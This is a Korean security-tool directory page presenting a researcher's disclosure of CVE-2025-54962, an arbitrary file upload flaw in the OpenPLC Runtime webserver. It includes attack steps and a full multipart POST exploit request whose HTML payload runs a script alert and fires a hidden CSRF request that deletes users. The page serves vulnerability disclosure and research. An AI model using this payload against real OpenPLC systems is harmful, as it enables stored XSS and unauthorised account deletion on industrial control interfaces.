Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-54962 — 인증된 사용자는 OpenPLC Runtime에서 프로필 이미지로 임의 파일(.html, .svg 등)을 업로드할 수 있습니다. 이 파일들은 인증 없이 공개적으로 접근 가능하여 저장형 XSS 또는 악성 콘텐츠 전달을 허용합니다. | Kitploit
도구/GitHubGitHub/eyodav/cve-2025-54962
Vulnerability AnalysisExploitationSCADA/ICS SecurityWeb Application ExploitationPenetration TestingLearning & Education
GitHubeyodav/cve-2025-54962

CVE-2025-54962

인증된 사용자는 OpenPLC Runtime에서 프로필 이미지로 임의 파일(.html, .svg 등)을 업로드할 수 있습니다. 이 파일들은 인증 없이 공개적으로 접근 가능하여 저장형 XSS 또는 악성 콘텐츠 전달을 허용합니다.

저장소 보기
61년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🔥 CVE-2025-54962 — OpenPLC Runtime Webserver의 안전하지 않은 파일 업로드

(OpenPLC Runtime ≤ 2024-12-31 — 저장된 XSS, CSRF)

📌 요약

저는 OpenPLC Runtime 웹서버(릴리스 버전: 2024-12-31)에서 인증된 사용자가 프로필 사진으로 임의의 파일(예: .html, .svg)을 업로드할 수 있는 취약점을 발견했습니다. 이 파일들은 /static/ 디렉터리에 저장되며 인증 없이 접근 가능하여 저장된 XSS 또는 악성 호스팅 시나리오를 가능하게 합니다.


🧪 영향을 받는 구성 요소

  • 경로: /edit-user
  • 영향: 프로필 이미지의 파일 업로드 기능

⚠️ 영향

  • MIME 및 확장자 검증이 부족한 임의 파일 업로드
  • 저장된 XSS
  • 악성 콘텐츠 호스팅
  • 업로드된 파일에 대한 인증되지 않은 접근
  • CSRF

  • 🎯 공격 벡터

    1. 인증된 사용자가 프로필 사진으로 .html 또는 .svg 파일을 업로드합니다.
    2. 파일은 /static/에 저장되며 예측 가능한 ID가 부여됩니다 (예: http://localhost:8080/static/336029.html)
    3. 모든 사용자(인증되지 않은 사용자라도) 업로드된 파일에 직접 접근할 수 있습니다.
    4. 파일에 JavaScript 또는 기타 악성 코드가 포함되어 있으면 피해자의 브라우저에서 실행됩니다.

    📸 시각적 개념 증명

    PLC가 실행 중일 때의 대시보드

    dashboard.png

    악성 .html 파일 업로드

    choose file.png

    "모든 파일"을 사용하여 이미지 필터 우회

    file.png

    /static/에서 실행된 업로드 파일

    poc.png


    🎞️ 비디오 PoC

    • 기본 PoC 데모
      poc de base.mp4

    • 인증되지 않은 접근 시연
      unauthenticated.mp4

    • CSRF PoC
      poc csrf.mp4


    📤 Burp Suite Repeater를 사용한 익스플로잇 요청 예제

    root@kitploit:~
    POST /edit-user HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Length: 1397
    Cache-Control: max-age=0
    sec-ch-ua: 
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: ""
    Upgrade-Insecure-Requests: 1
    Origin: [OpenPLC URL]
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
    User-Agent: [UA]
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://127.0.0.1:8080/edit-user?table_id=10
    Accept-Encoding: gzip, deflate
    Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
    Cookie: session=[cookie]
    Connection: close
    
    ------WebKitFormBoundaryW3GoLRyFS7dyLS2B
    Content-Disposition: form-data; name="user_id"
    
    10
    ------WebKitFormBoundaryW3GoLRyFS7dyLS2B
    Content-Disposition: form-data; name="full_name"
    
    OpenPLC User
    ------WebKitFormBoundaryW3GoLRyFS7dyLS2B
    Content-Disposition: form-data; name="user_name"
    
    openplc
    ------WebKitFormBoundaryW3GoLRyFS7dyLS2B
    Content-Disposition: form-data; name="user_email"
    
    [email protected]
    ------WebKitFormBoundaryW3GoLRyFS7dyLS2B
    Content-Disposition: form-data; name="user_password"
    
    mypasswordishere
    ------WebKitFormBoundaryW3GoLRyFS7dyLS2B
    Content-Disposition: form-data; name="file"; filename="poc cve.html"
    Content-Type: text/html
    
    <!DOCTYPE html>
    <html>
    <head>
      <title>PoC – Unfiltered Upload</title>
    </head>
    <body>
      <h1>Proof of Concept</h1>
    
      <p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>
    
      <h2>XSS Demo (auto-executed)</h2>
      <script>alert('PoC xss')</script>
    
      <h2>CSRF</h2>
      <img src="http://127.0.0.1:8080/delete-user?user_id=%5BUser%20ID%5D" style="display:none" />
    
      <h2>document.domain</h2>
      <p>Opened from: <script>document.write(document.domain)</script></p>
    
      <h2>Manual link to malicious HTML</h2>
      <a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
    </body>
    </html>
    
    ------WebKitFormBoundaryW3GoLRyFS7dyLS2B--
    
    도구 다운로드